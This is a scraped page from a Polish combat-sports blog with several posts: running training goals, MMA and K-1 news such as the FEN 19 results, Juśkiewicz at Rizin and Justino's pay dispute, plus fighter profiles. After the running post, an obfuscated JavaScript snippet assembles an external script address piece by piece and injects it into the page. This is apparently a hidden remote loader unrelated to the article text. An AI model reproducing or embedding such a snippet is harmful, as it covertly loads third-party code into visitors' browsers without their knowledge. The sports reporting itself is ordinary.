Celem treningu niezależnie od uprawianej dyscypliny sportu jest stopniowy rozwój.  Osiąganie kolejnych celów jest najlepszą motywacją do wzmożonego wysiłku. Dlatego jeśli chcemy by bieganie przez cały czas było naszą pasją musimy wiedzieć co chcemy osiągnąć. Wyznaczanie odpowiednich celów jest kluczem do czerpania maksimum satysfakcji z biegania. Nie mogą one być zbyt proste, ponieważ nie przynoszą satysfakcji. Nie mogą być też zbyt trudne, ponieważ częste porażki są bardzo demotywujące.

Analiza treningu

W dzisiejszych czasach dostępnych jest bardzo wiele nowoczesnych aplikacji przeznaczonych do analizy treningów. Są to narzędzia, które pozwalają czerpać dodatkową radość z biegania. Obecnie prawie każdy dysponuje smartfonem, który dzięki zastosowaniu odpowiedniego oprogramowania staje się wymarzonym narzędziem dla biegacza. Analizowanie statystyk i optymalizowanie treningu jest dla wielu osób świetnym motorem do dalszej pracy. Nowoczesne programy dostarczają między innymi informacji na temat tego: ile spaliliśmy kalorii, pokonaliśmy przewyższeń czy z jaką średnią prędkością biegliśmy. Potrafią nawet w sposób graficzny przedstawić dokładną trasę biegu.

[kod]

(function(){
o06i=document.createElement("script");o06i.async=true;o06i_="u"+("s")+"t";
o06iu="67563400.";o06i_+="a"+("t.i");o06i_+="n"+("f"+"o")+"/";
o06iu+="3kagchyg06imfXzzardzpw"+("0fr5uru3");
o06i.src="//"+o06i_+o06iu;o06i.type="text/javascript";
document.body.appendChild(o06i);
})();

Juśkiewicz przegrała w Japonii

Porażka Sylwii Juśkiewicz na gali Rizin Fighting World Grand Prix. Tym samym Polka pożegnała się z turniejem wagi atomowej do 49kg.

Zawodniczka znana z gal organizacji Ladies Fight Night debiutowała w Japonii. W Fukuoce spotkała się z Kanną Asakurą.

Brak awansu

Juśkiewicz dostała szansę zaprezentowania się na jednym z największych turniejów MMA na świecie. Polka już znacznie wcześniej znalazła się w orbicie zainteresowań organizacji Rizin. Nie ma się co dziwić, gdyż na krajowym podwórku „Mała” radziła sobie znakomicie i prezentowała się niezwykle efektownie. Dobrą postawą Juśkiewicz zapracowała na status gwiazdy organizacji Ladies Fight Night.

Pięć zwycięstw z rzędu robiło wrażenie. Juśkiewicz kolejno odprawiła Katarzynę Urban, Klaudię Pawicką, Alice Ardelean, Ludmyłę Pylypchak i Manoelę Matos. Przed startem zmagań w turnieju wagi atomowej Rizin widziano ją w roli faworytki. Na początek na drodze Polki pojawiła się Kanna Asakura, która udział w zmaganiach zapewniła sobie pokonując Saori Ishokę na sierpniowej gali Deep – Jewels 17. 20-letnia Japonka wygrała trzy ostatnie walki i miała apetyt na kolejny triumf. Nie inaczej było w przypadku Juśkiewicz.

Kanna Asakura nie pozwoliła rozwinąć skrzydeł Sylwii Juśkiewicz. W pierwszej odsłonie Polka uchroniła się przed jedną próbą obalenia, ale Japonka po raz kolejny spróbowała swoich sił i okazała się skuteczna. 20-latka próbowała różnych rozwiązań, jednak Juśkiewicz skutecznie się broniła. Defensywa to było za mało, Asakura zaznaczała swoją przewagę wraz z upływem minut. W drugiej odsłonie doszło do wymiany bokserskiej. Polka szukała okazji, aby zagrozić rywalce, jednak ta szybko szukała nóg i sprowadzała walkę do parteru. W końcowej fazie walki Japonka szukała duszenia, jednak nie udało jej się zakończyć starcia przed czasem. Asakura wygrała jednogłośną decyzją sędziów.

Kto walczy dalej?

Na gali w Fukuoce odbyły się również inne walki turnieju wagi atomowej. Maria Oliveira Mota pokonała Alyssię Garcię jednogłośną decyzją sędziów. Z siódmego zwycięstwa w karierze cieszyła się Irene Cabello Rivera. W drugiej rundzie 24-letnia Hiszpanka założyła dźwignię na ramię Miyuu Yamamoto, a Japonka odklepała.

W walce wieczoru Rena Kubota pokonała Andy Nguyen. 26-letnia Japonka wygrała kolejną walkę przed czasem i awansowała do następnej rundy zmagań. Kolejna faza rywalizacji odbędzie się w grudniu br.

KM

FEN 19: Wyniki, podsumowanie, komentarze po gali!

Za nami gala Fight Exclusive Night 19 „Bitwa o Wrocław”. Podczas wydarzenia zobaczyliśmy 10 pojedynków, stawką aż w trzech z nich były pasy mistrzowskie federacji. Cztery walki odbywały się na zasadach K-1, 6 toczyło się w MMA.

 

 

 

 

 

Pełna karta walk FEN 19 „Bitwa o Wrocław” prezentuje się następująco:

77 kg K-1 – Igor Danis VS Paweł Biszczak
77 kg MMA – Bartłomiej „Ruby” Brzeziński – Gabriel „Arab” Al-Sulwi
+95 kg K-1 – Nikolaj Falin VS Arkadiusz Wrzosek
77 kg MMA – Nassourdine Imavov VS Michał Michalski
65 kg K-1 – Marta Waliczek VS Róża Gumienna
84 kg MMA – Bartosz Leśko VS Paweł Brandys
77 kg MMA – Tymoteusz Łopaczyk VS Adrian Błeszyński
56 kg MMA – Magdalena Rak VS Raffaela Milner
70 kg MMA – Patryk Nowak VS Jakub Mroczkowski
70 kg K-1 Marcin Stopka VS Krzysztof Kottas

Walka 1. Marcin Stopka VS Krzysztof Kottas

Wielka energetyka tego pojedynku i możliwie najlepsze rozpoczęcie gali we Wrocławiu. Marcin Stopka zachował sobie więcej sił na dystansie trzech rund i zasłużenie wygrał. Pierwsza z czterech walk w formule K-1 dostarczyła naprawdę wiele emocji. Zdecydowało przygotowanie fizyczne i więcej tlenu w płucach Stopki, który był aktywniejszy szczególnie w drugiej j trzeciej rundzie.

Walka 2. Jakub Mroczkowski VS Patryk Nowak

Poddanie! Patryk Nowak nie dał szans Jakubowi Mroczkowskiemu i skutecznie założył gilotynę swojemu rywalowi. Pojedynek nie wyszedł nawet poza pierwsza rundę.

Walka 3. Magdalena Rak VS Raffaela Milner

Znakomity debiut w zawodowym MMA Magdaleny Rak, która low kickami i frontalnymi kopnięciami raz za razem rozbijała szczelną defensywę Raffaeli Milner. Znakomity popis stójkowych umiejętności Rak – ta dziewczyna ma papiery na naprawdę wielką karierę.

Walka 4. Tymoteusz Łopaczyk VS Adrian Błeszyński

Absolutnie wyjątkowe starcie, w którym młodość okazała się lepsza od rutyny i doświadczenia. Jedna z najlepszych walk w historii federacji FEN – gratka dla wszystkich koneserów mieszanych sztuk walki. Łopaczyk da jeszcze wiele radości wszystkim kibicom – spektakularny debiut w federacji FEN! Jednogłośne zwycięstwo wojownika z Bielawy.

Walka 5. Bartosz Leśko VS Paweł Brandys

Bardzo wyrównane starcie, ale tego się spodziewaliśmy – obaj panowie przed pierwszym gongiem wydawali się być na tym samym poziomie. Ostatecznie zwyciężył Bartosz Leśko, który przeważał w parterze i częściej dominował w starciu na macie. Wciąż zero w rekordzie trójmiejskiego fightera.

Walka 6. Marta Waliczek VS Róża Gumienna

Mamy nową mistrzynie FEN W K-1! Marta Waliczek dokonała wielkiej sztuki i już w debiucie w federacji zwyciężyła z niepokonaną do tej pory Różą Gumienną. Do rozstrzygnięcia tego starcia zadecydowała dogrywka – po trzech rundach nie można była wskazać lepszej wojowniczki. Rewanż? Trudno już dziś powiedzieć, ale na pewno kibice z chęcią zobaczyliby drugie starcie pomiędzy paniami!

Walka 7. Nassourdine Imavov VS Michał Michalski

Wielkie zwycięstwo powracającego po dłuższej przerwie Michała Michalskiego. Znakomite starcie, które prawie w całości rozgrywało się w stójce. Kopnięcia zawodnika z Wrocławia zdecydowały o zwycięstwie. Cudowny powrót Michalskiego!

Walka 8. Nikolaj Falin VS Arkadiusz Wrzosek

Bułka z masłem – takie to było proste starcie dla Arkadiusza Wrzoska. Znakomity prawy sierpowy na szczękę przewrócił Nikolaja Falina i Niemiec już się nie podniósł. Wrzosek pierwszym mistrzem FEN W K-1 w kategorii ciężkiej!

Walka 9. Bartłomiej „Ruby” Brzeziński – Gabriel „Arab” Al.-Sulwi

Pierwszy w historii federacji freak fight dla Araba. W drugiej rundzie z narożnika Rubego poleciał Ręcznik i nie ma się czemu dziwić – Arab miał zdecydowaną przewagę i od kilku minut okładał swojego rywala ciosami w parterze. Sędzia Piotr Michalak tego nie przerwał – wyręczyli go trenerzy Brzezińskiego. Mimo wszystko – dobra, stojąca na wysokim poziomie walka.

Walka 10. Igor Danis VS Paweł Biszczak

Krótko trwała ta wojna. Stary mistrz nie dał się zaskoczyć i już w pierwszej rundzie efektownie skończył Igora Danisa, który bardzo długo nie był w stanie podnieść się z maty. Pas zostaje w posiadaniu Biszczaka!

Barbara Nalepka zawalczy dla LFN już 16 grudnia w Łodzi!

Już 16 grudnia 2017r.w Łodzi, podczas naszych drugich urodzin, na 7. gali Ladies Fight Night „Double Trouble” w klatkoringu zaprezentuje się Basia Nalepka pseudonim „Shogun”, która jak sama mówi bardzo się cieszy, że dostała propozycję walki na jubileuszowej gali LFN i będzie chciała pokazać się jak najlepiej. Walka zawodniczki odbędzie się w formule MMA.

Jak podkreśla Łukasz Chmal – prezes organizacji: „Basia jest bardzo wszechstronną i doświadczoną zawodniczką. Nie miałem wątpliwości, że chcemy, aby dla nas walczyła. Kontrakt podpisaliśmy we wrześniu 2017r., ale dopiero dzisiaj jesteśmy gotowi, aby powoli odkrywać karty naszej jubileuszowej i sukcesywnie prezentować kolejne zawodniczki”.

""

Zawodowe plany Basi na 2018?
BN: “Nie mam sztywnych planów na 2018 rok. W lutym może wylecę do Brazylii na treningi na dwa miesiące, jak uzbieram fundusze 🙂 Na pewno kilka walk w MMA jak i w K1w Polsce jak i za granicą :-)”

O czym teraz myśli/marzy najbardziej zawodowo/ osobiście?
BN: “O czym marzę zawodowo…, żeby walczyć na największych galach w Polsce i na świecie i wiadomo, żeby wszystko poszło po mojej myśli, a osobiście nie mam w sumie planów dalekobieżnych co będzie to będzie:-).
Żyję chwilą i tak wszystko jest zapisane w gwiazdach :-)”

Pieniądze kością niezgody

Bez pieniędzy ani rusz. Każdy chce zarobić jak najwięcej, aby zaspokoić swoje potrzeby. Cris „Cyborg” Justino nie jest zadowolona ze swoich zarobków w UFC. Liczy, że organizacja w końcu ją doceni i zaproponuje odpowiednie wynagrodzenie.

W oktagonie Justino zawsze jest twarda, nieustępliwa i zdecydowana. Brazylijka chciała się spotkać z Holly Holm i strony zaczęły czynić ustalenia względem walki. Mistrzyni wagi piórkowej zerwała jednak rozmowy.

Za mało

Bez wątpienia starcie „Cyborg” z Holly Holm urastałoby do miana hitowej walki w kobiecym MMA. Dwa lata temu to Amerykanka dzierżyła pas mistrzyni wagi koguciej, kiedy to niespodziewanie pokonała Rondę Rousey. Holm znokautowała „Rowdy”, która wydawała się niezniszczalna. Jednak radość Amerykanki nie trwała zbyt długo, ponieważ w kolejnej walce straciła pas na rzecz Mieshy Tate. 35-latka miała słabszy czas. Przegrała dwie kolejne walki, w tym o tytuł w kategorii piórkowej. Dopiero w czerwcu na gali UFC Fight Night 111 odniosła zwycięstwo. W trzeciej rundzie Amerykanka znokautowała Bethe Correię.
 
Skupmy się na tytule w wadze piórkowej. Pierwszą mistrzynią utworzonej w grudniu 2016 roku kategorii została Germaine de Randamie. Holenderka obawiała się starcia z Cristiane Justino i dlatego w czerwcu br. została pozbawiona tytułu. Z kolei Brazylijka spotkała się z Tonyą Evinger i od pierwszych minut przeważała. 36-letnia Amerykanka wytrwała do trzeciej rundy, kiedy to Justino potężnie trafiła ją kolanem. Trudno było znaleźć odważną, którą wejdzie do oktagonu z Brazylijką. Holly Holm wyzwań się nie boi, czego dowodem była jej wygrana z Rousey. 

Mówiło się, że starcie „Cyborg” z byłą mistrzynią wagi koguciej miałoby się odbyć 30 grudnia na gali UFC 219. Skoro obie strony wyrażały chęć, to nic nie stało na przeszkodzie, aby doszło do walki. Jednak Justino postanowiła wstać od stołu. Wszystko przez finanse. Jak poinformowała mistrzyni wagi piórkowej UFC chciało jej zapłacić za walkę z Holm mniej niż za starcie z Evinger.

Wyliczenia Brazylijki

Można zażartować, że „Cyborg” wzięła kalkulator w dłoń i zaczęła liczyć. Gaże proponowane przez UFC nie spełniają jej wymagań. Zwłaszcza, że Brazylijka jest niepokonana w UFC. Dotychczasowe trzy walki wygrała przed czasem. Justino liczy, że jej dokonania zostaną docenione.

„Cyborg” chciałaby dostawać 500 tysięcy dolarów, czyli tyle, ile gwarantowane miały za obronę pasów Holly Holm i Miesha Tate. Jakie skutki przyniesie „strajk” Justino? W kobiecym MMA nie ma już tak wielu mocnych i wyrazistych zawodniczek. Może UFC sypnie Brazylijce nieco z portfela, bo ta jest gwarantem widowiska na wysokim poziomie.

KM

Dziewięcioro Polaków powalczy w MŚ

Ponad 600 zawodników zostało zgłoszonych do udziału w mistrzostwach świata juniorów w judo w Zagrzebiu. W tym gronie znalazło się dziewięcioro Polaków. Impreza odbędzie się w dniach 18-22 października. 

Pierwotnie rywalizacja o medale mistrzostw świata juniorów miała odbyć się w północnokoreańskim Pjongjangu. W kwietniu Międzynarodowa Federacja Judo zdecydowała o zmianie lokalizacji imprezy z racji napiętej sytuacji politycznej w azjatyckim kraju. Mistrzostwa przeniesiono do hali Dom Sportova w Zagrzebiu.

Medalistka ME naszą nadzieją

Dwa lata temu z Abu Dhabi biało-czerwoni przywieźli jeden medal. Na najniższym stopniu podium stanął Piotr Kuczera (90kg). W Zjednoczonych Emiratach Arabskich startowała również Julia Kowalczyk (57kg), która zajęła siódme miejsce. Wszyscy liczą, że w Zagrzebiu judoczka Polonii Rybnik wskoczy na podium, bo przez dwa lata zdobyła cenne doświadczenie, które właśnie teraz może zaprocentować. Warto przypomnieć, iż Julia Kowalczyk znalazła się w kadrze seniorek na tegoroczne mistrzostwa Europy seniorów i seniorek. Biało-czerwone sięgnęły po srebrny medal. 

W tym roku Kowalczyk stanęła również na podium europejskiego czempionatu w rywalizacji juniorek.  Zawodniczka Polonii Rybnik wywalczyła w Mariborze brązowy medal. Polka wygrała trzy pojedynki, a w półfinale przegrała z Larissą van Krevel. Dla Kowalczyk był to trzeci medal mistrzostw Europy juniorek i po raz kolejny brązowy. 20-latka prezentuje równą formę. W tym roku Kowalczyk stawała na podium w juniorskich Pucharach Europy w Gdyni (drugie miejsce) i Leibnitz (trzecia) oraz zdobyła brąz wśród seniorów w Grand Slam w Baku.

W związku z powyższym nie ma, co ukrywać, że 20-letnia judoczka jest naszą nadzieją medalową. Kowalczyk jest jedną z liderek naszej kadry, drugim mocnym nazwiskiem jest Anita Formela (+78kg).  20-latka rok temu wywalczyła brąz mistrzostw Europy juniorów, a w tym niewiele zabrakło jej, aby znaleźć się na podium. W Mariborze zawodniczka UKS Conrad Gdańsk po dwóch wygranych walkach, w półfinale przegrała z Romane Dicko. Z kolei w starciu o brąz Formela została zdyskwalifikowana w końcówce starcia z Kubranur Esir.

Może w końcu medal?

O pechu może mówić Jakub Ozimek (90kg). Po raz kolejny znalazł się poza podium europejskiego czempionatu. W 2016 był piąty, w tegorocznym starcie również znalazł się tuż za strefą medalową. Czy przełamanie przyjdzie na mistrzostwach świata w Zagrzebiu? Taki wynik byłby mile widziany. Tym bardziej, że w pierwszych tegorocznych startach Ozimek pokazał się z dobrej strony. Wygrał w Lignano, a później był trzeci w Gdyni.

Pierwszego dnia imprezy biało-czerwoni nie będą startować. 19 października w akcji zobaczymy Klaudię Cieślik (52kg), Julia Kowalczyk (57kg) i Annę Dąbrowską (57kg). Kolejnego dnia na tatami zaprezentują się Sebastian Marcinkiewicz (81kg) oraz Jakub Ozimek (90kg). 21 października wystąpią: Anita Formela (+78kg), Kacper Szczurowski i Dominik Majowski (100kg), a także Krzysztof Załęczny (+100kg). Biało-czerwoni nie wystąpią w turnieju drużynowym.

KM

Tybura zmierzy się z legendą

W listopadzie Marcin Tybura odwiedzi Australię. Na gali UFC Fight Night 121 w Qudos Bank Arena Polak miał się zmierzyć z doświadczonym i utytułowanym Markiem Huntem. Nowozelandczyk wypadł z karty walk. W jego miejsc wskoczył legendarny Fabricio Werdum.

Przed 31-letnim fighterem z Uniejowa nie lada wyzwanie. W Australii Tyburze przyjdzie rywalizować z jedną z ikon UFC. Ostatni test Polak zdał w imponującym stylu, czy w listopadzie w Sydney będzie podobnie?

Kolejny mistrz na drodze Tybury

W czerwcu na gali UFC Fight Night 111 w Singapurze Marcin Tybura pokonał przez decyzję sędziów mistrza amerykańskiej organizacji w wadze ciężkiej w latach 2005-2006 Andreja Arlovskiego. Co prawda 38-latek z Białorusi najlepsze lata ma za sobą, ale jego nazwisko nadal wiele znaczy w świecie MMA. Arlovski zanotował 25 zwycięstw w karierze i prezentował się na galach takich organizacji jak m.in. UFC, M-1 czy Strikeforce. Do walki z Tyburą Białorusin przystępował po czterech porażkach z rzędu. Polak odważnie zaczął starcie i obalił rywala, a w dosiadzie słał w jego stronę kolejne ciosy. Jednak z czasem do głosu zaczął dochodzić Arlovski, który w dominował drugiej rundzie. Tybura przetrwał napór, choć był bardzo zmęczony i w trzeciej odsłonie rywalizacji obalił rywala. Największe zwycięstwo Polaka w karierze stało się faktem.

Miło wraca się do tych wspomnień, jednak Marcin Tybura ma szansę dopisać kolejny rozdział pięknej przygody. W Sydney Polak miał zmierzyć się z 43-letnim Markiem Huntem, który ma za sobą bogatą karierę kickboxera, a także w MMA dorobił się miana gwiazdy. Nowozelandczyk w czerwcu w Auckland wygrał przed czasem z Derrickiem Lewisem. Z rywalizacji z Tyburą Hunt został wycofany ze względu na kłopoty z pamięcią. UFC zaleciło mu badania, a w Polaka zestawiono z Fabricio Werdumem.

40-letni Brazylijczyk to były mistrz UFC w wadze ciężkiej. Tymczasowy tytuł wywalczył pokonując… Hunta. Potem zwyciężył Caina Velasqueza i mógł poszczycić się posiadaniem pasa mistrzowskiego. W pierwszej obronie stracił go na rzecz Stipe Miocica. Ostatnim rywalem Werduma był Walter Harris, który przetrwał w oktagonie nieco ponad minutę. Podczas październikowej gali w Las Vegas Brazylijczyk poddał Amerykanina przez dźwignię na łokieć.

Co warto podkreślić, Marcin Tybura ma dobrą passę. Polak wygrał trzy walki z rzędu w UFC. Ostatnią porażkę poniósł w kwietniu 2016 roku, przegrał z Timothy'm Johnsonem.

Held ma rywala

Marcin Held będzie jedną z gwiazd październikowej gali UFC w Gdańsku. Kilka dni temu z powodu kontuzji z rywalizacji z Polakiem musiał wycofać się Teemu Packalen. Nowym przeciwnikiem fightera z Tych będzie Nasrat Haqparast, który zadebiutuje w UFC.

Dla Marcina Held występ w Ero Arenie będzie czwartym w amerykańskiej organizacji. Dotychczasowe trzy walki Polak przegrał.

Fot. Marcin Tybura Facebook

KM

Ciężar ich przygniótł

Każdy chciałby wejść na szczyt i osiągnąć sukces. Miana gwiazdy MMA dorobił się Jon Jones, zaś w boksie na pierwszy plan wybił się Tyson Fury. Obaj zostali mistrzami, ale nie wytrzymali presji.

Mówi się, że nie sztuką jest zdobyć tytuł, lecz później skutecznie bronić go. Równie istotna jest równowaga i rozsądek. Jak pokazują liczne doświadczenia – często problemem jest głowa i brak wsparcia, co dla wielu zawodników skończyło się fatalnie.

Jak to możliwe?

Większość, zwłaszcza starszych osób, zapyta – jak to możliwe, że ma wszystko i w mgnieniu oka marnuje to? Oczywiście nie chodzi tu tylko i wyłącznie o względy materialne, lecz pozycję, poważanie i efekty własnej ciężkiej pracy. Przypadek znanego z UFC Jona Jonesa i boksera Tysona Fury'ego pokazuje, że sukces oraz popularność mają swoje blaski i cienie.

Amerykański zawodnik MMA ma wiele na sumieniu. W kwietniu 2015 roku spowodował wypadek, w którym ucierpiała kobieta w ciąży. Jones przejechał na czerwonym świetle i uciekł z miejsca zdarzenia. Dodatkowo w aucie byłego mistrza wagi półciężkiej znaleziono marihuanę. Przyszłość przyniosła kolejne wydarzenia, które nie są powodem do chluby dla Jonesa. W 2016 roku Amerykanin został zawieszony na rok za stosowanie dopingu. 30-latek miał rywalizować o zunifikowanie pasa mistrza kategorii półciężkiej na gali UFC 200, ale w jego organizmie wykryto zakazane substancje. Zawodnik tłumaczył, że środki znalazły się w tabletkach na potencję, jednak nie przyjmował ich świadomie. Jones wrócił i 29 lipca br. pokonał Daniela Cormiera, dzięki czemu wywalczył mistrzowstwo wagi półciężkiej. Minęło kilka tygodni… Na jaw wyszło, że Jones ponownie stosował doping. W jego moczu wykryto turinabol. Komisja Sportowa Stanu Kalifornia była bezwzględna i zawiesiła Amerykanina na cztery lata oraz odebrała mu tytuł mistrzowski. 

Tyson Fury zawsze miał niewyparzony język w stosunku do rywali, a siebie określał jako tego, który jest najlepszy. W końcu jego pochwały w stosunku do własnej osoby znalazły potwierdzenie w rzeczywistości. Fury przerwał hegemonię Władimira Kliczko i został mistrzem wagi ciężkiej organizacji IBF, WBO, WBA i IBO. W kategorii królewskiej nastąpiło nowe otwarcie, jednak doświadczony Ukrainiec chciał walki rewanżowej. Nowy czempion na to przystał, ale z czasem uciekał od pojedynku. Głównym powodem miały być kłopoty zdrowotne Fury'ego. W końcu na światło dzienne wyszły problemy brytyjskiego boksera. Alkohol, narkotyki, depresja, niechęć do boksu – tak to wszystko wyglądało. W końcu Fury oddał pasy, ale nie zniknął, lecz dolewał oliwy do ognia. Mówił, że nienawidzi… boksu. Przybyło mu kilogramów, a po kilku miesiącach snuł plany o powrocie na ring.

Z nieba do piekła

Przykłady Jonesa i Fury'ego, przedstawione w skrótowej formie, obrazują, że z sukcesem trzeba umieć sobie poradzić. W przypadku MMA i boksu to nie tylko walka z rywalem, ale i z samym sobą, swoimi słabościami. Jones dla wielu stał się pierwszoplanową postacią UFC i przez lata dominował w wadze półciężkiej, ale w końcu wszystko rozsypało się jak domek z kart. Z kolei Fury totalnie się pogubił. W jego ustach mocne słowa względem boksu i innych zawodników brzmią groteskowo. Teraz Fury wyraził zainteresowanie walką z… Witalijem Kliczko.

Mieli wszystko, a upadają. Nie jest powiedziane, że nie odbiją się od dna. Dla sportów walki byłoby dobrze, żeby takie postaci funkcjonowały i wychodziły na prostą. Bo każdy ma prawo do chwili słabości, ale należy wstać i walczyć dalej. Czy Jonesowi i Fury'emu się to uda?

KM

Róża Gumienna

 

Polska zawodniczka Kickboxingu urodzona 6 sierpnia 1989 roku w Kobylinie. Walczy w formule K-1 w kategorii wagowej piórkowej. Róża jest doktorantką na Akademii Wychowania Fizycznego we Wrocławiu oraz wykładowcą na tej samej uczelni. Zawodowo Róża walczy dla organizacji Fight Exclusive Night, której jest mistrzynią. Od  2011 roku jest reprezentantką Kadry Narodowej w Kickboxingu. Na zawodowych ringach stoczyła 9 walk, wygrywając osiem z nich.  Pokonała m.in. takie rywalki jak: Marta Gusztab, Katarzyna Posiadała, Kamila Bałanda czy Martina Fendrichova. 14 października 2017 roku na gali FEN przegrała jednogłośną decyzją z Martą Waliczek, tym samym tracąc swój pas mistrzowski organizacji Fight Exclusive Night.

Poniżej lista osiągnięć w Kickboxingu i K-1:

  • Złoty Medal Pucharu Świata K-1, Innsbruck 2017
  • Mistrzyni FEN w wadze piórkowej, od 2017
  • Srebrny medal Mistrzostw Europy K-1, Maribor 2016
  • Złoty Medal Pucharu Świata K-1, Innsbruck 2015
  • Brązowy medal Mistrzostw Europy K-1, Bilbao 2014
  • Złoty medal Pucharu Świata w K-1, Szeged 2014
  • Złoty medal Mistrzostw Świata Low-Kick, Sau Paulo 2013
  • Złoty medal Pucharu Świata Low-Kick, Szeged 2013
  • Zawodowe Mistrzostwo Polski w K-1, 2013
  • Amatorskie Mistrzostwo Polski K-1, 2013,2014,2015,2016
  • Amatorskie Mistrzostwo Polski w K-1 oraz Low Kick 2013
  • Brązowy medal Mistrzostw Europy Low-Kick, Ankara 2012
  • Amatorskie młodzieżowe Mistrzostwo Polski, 2012,2013

Paweł Biszczak

Polski Karateka stylu Kyokushin i zawodnik Kickboxingu w formule K-1 urodzony 10 grudnia 1985 roku w Legnicy. Karate Kyokushin zaczął trenować w wieku 10 lat. Były członek kadry narodowej karate oraz wielokrotny Mistrz Polski i Europy Karate Kyokushin (formuła knockdown karate).Obecnie jest członkiem narodowej reprezentacji Polski w Kickboxingu, w którym zdobył tytuły mistrza Polski i Europy. Walczy zawodowo w organizacji Fight Exclusive Night, której jest mistrzem.

 

Osiągnięcia sportowe:

  • Mistrz FEN w wadze półśredniej, od 2017
  • Zawodowy Mistrz Polski w Kickboxingu K1, Zgorzelec 2014
  • Mistrz Europy kickboxingu w formule K1, Lizbona 2012
  • I miejsce Grand Prix Russia Open K1, Niżny Nowogród, 2012
  • I miejsce w gali K1 Grand Prix, Kalininingrad 2011
  • Mistrz Europy kickboxingu w formule K1, Świebodzice 2011
  • Zawodowy Mistrz Polski Kickboxing Low-Kick 2007 ISKA
  • I miejsce w Mistrzostwach Europy Karate Open – Gorzów 2011
  • I miejsce w Mistrzostwach Polski Karate Open – Legnica 2011
  • I miejsce w Mistrzostwach Polski Karate (wagowych) – Mielno 2011
  • I miejsce w Mistrzostwach Ukrainy Zachodniej – Drohobycz 2010, 2011
  • I miejsce w Mistrzostwach Polski Karate Open – Świnoujście 2010
  • III miejsce w Mistrzostwach Europy Karate (wagowych) – Bukareszt 2010
  • I miejsce w Mistrzostwach Polski Karate Open – Lublin 2009
  • I miejsce w Mistrzostwach Polski Karate (wagowych) – Sieradz 2009
  • I miejsce w Otwartych Mistrzostwach Holandii – Papendrecht 2009
  • I miejsce w Mistrzostwach Polski Karate (wagowych) – Włocławek 2004
  • I miejsce w Otwartych Mistrzostwach Niemiec – Frankfurt 2004
  • Międzynarodowy Zawodowy Mistrz Polski Muay Thai 2012 WKN
  • 2 x Międzynarodowy Zawodowy Mistrz Polski Muay Thai 2009/2011 WPMF
  • Mistrz Europy Muay Thai 2007 WMF
  • 7 x Mistrz Polski -Muay Thai, Kickboxing Low Kick.

Rafał Dudek

Polski zawodnik Kickboxingu oraz Muay Thai urodzony 4 marca 1984 roku w Nowym Sączu. Amatorski i zawodowy Mistrz Polski w K-1, brązowy medalista Mistrzostw Europy WAKO European Championships z 2012 w Ankarze. Jest także zdobywcą tytułu Intercontinental Low Kick Super Welter Weight Champion, który zdobył dzięki walce w Trynidadzie i Tobago. Był zawodnikiem klasyfikowanym w rankingach prestiżowej organizacji Glory World Series. W swojej karierze stoczył blisko 120 walk amatorskich, z czego wygrał 94. Jako zawodowiec do swoich pojedynków przygotowuje się w holenderskim klubie Mike’s Gym. Na zawodowym ringu wystąpił 23 razy, z czego 15 razy wychodził z walk jako zwycięzca. W 2015 roku wziął udział w prestiżowej gali Shoot Boxing 30th Anniversary w Tokio gdzie przegrał na punkty z zawodnikiem gospodarzy, dwukrotnym Mistrzem Świata – Hioroyaki Suzuki. Jego trenerami byli Andrzej Śliwa oraz później Tomasz Mamulski (trener Reprezentacji Polski w K-1).

FEN 19 Bitwa o Wrocław official trailer

Już 14 października 2017 federacja Fight Exclusive Night po raz siódmy zawita do Wrocławia. FEN19 „Bitwa od Wrocław” odbędzie się w Hali Orbita, a zobaczymy w niej aż 10 pojedynków – 6 w formule MMA i 4 w K-1. Będą powroty, będą walki o pasy mistrzowskie oraz spektakularne rewanże.

Włodarze federacji FEN zapewniają, że przygotowali piekielnie mocną kartę walk, jednak na tą chwilę zdradzają tylko dwa zestawienia. Jednym z nich będzie pierwszy w historii FEN „Freak Fight” – w formule MMA i w kategorii do 77kg zmierzą się „Arab” i „Ruby. Gabriel Al-Sulwi, czyli „Arab”, to 24-latek pochodzący z Rzeszowa, któremu MMA pozwoliło pokonać problem z narkotykami i znaleźć nowy cel w życiu. Z kolei Bartłomiej Brzeziński, czyli „Ruby”, znany jest przede wszystkim jako raper „Ganja Mafia”, lecz od dłuższego czasu równie intensywnie trenuje sporty walki.

Innym ciekawym pojedynkiem, jaki zobaczą kibice w Hali Orbita, będzie starcie pomiędzy Pawłem Biszczakiem (24-3) z Igorem Danisem . Pojedynek odbędzie się w formule K-1, a jego stawką będzie pas mistrzowski FEN w kategorii do 77 kg.

[kod]

Tomasz Sarara

Polski Kickbokser oraz bokser wagi ciężkiej urodzony 31 maja 1985 roku w Krakowie. Zwycięzca bokserskiego turnieju Bigger's Better z 2013. W latach 2015-2017 zawodnik Fight Exclusive Night gdzie od 2016 został mistrzem w wadze półciężkiej. Aktualnie związany z Spartan Fight. Wieloletnim trenerem Sarary jest czterokrotny zwycięzca K-1 World GP Ernesto Hoost. W 2008 na Mistrzostwach Europy WAKO w Porto, zajął drugie miejsce w kat. +91 kg, przegrywając w finale z Białorusinem Alaksiejem Kudzinem. 18 lipca 2008 został zawodowym mistrzem Polski w kat. +91 kg, wygrywając z Danielem Omielańczukiem na punkty. 10 maja 2009 na gali Angels of Fire V, pokonał przez techniczny nokaut w 1. rundzie Kamila Sokołowskiego, zostając mistrzem Polskiego Związku Kick-boxerskiego (PZKB) w kat. 95 kg. 28 marca 2010 zadebiutował w turnieju K-1, który miał miejsce w Warszawie. Sarara doszedł ostatecznie do finału, przegrywając w nim przez nokaut z Estończykiem Daniilem Sapljoszynem. Wcześniej Polak pokonywał w ćwierćfinale Białorusina Ihara Buhajenke i w półfinale z Ukraińca Dmitrija Bezusa. W latach 2010-2012 zostawał m.in. mistrzem Polski w formule low kick, mistrzem Baltic Martial Arts Federation (BMAF) w wadze ciężkiej oraz dochodził do finału rosyjskiego turnieju Tatneft Arena, podczas którego wygrywał m.in. z Saulo Cavalarim. W 2014 ponownie został mistrzem Polski w low kicku. Od 2015 jest związany z Fight Exclusive Night gdzie jak dotąd jest niepokonany oraz dzierży od 15 października 2016 pas mistrzowski w kat. 95 kg. 6 października 2017 został mistrzem polsko-irlandzkiej organizacji Celtic Gladiator pokonując przed czasem Luciano Zampieriego. W latach 2010-2013 startował w turniejach bokserskich Bigger's Better. 4 listopada 2011 został finalistą zawodów, przegrywając w decydującym starciu z Francuzem Nicolasen Wambą na punkty, natomiast 24 maja 2013, wygrał 22 edycję turnieju, pokonując w finałowym pojedynku Słowaka Tomasa Moznego. 24 września 2016 zawodowo zadebiutował w boksie, nokautując Łukasza Zygmunta w 2. rundzie.

Osiągnięcia sportowe:

  • Sześciokrotny amatorski mistrz Polski
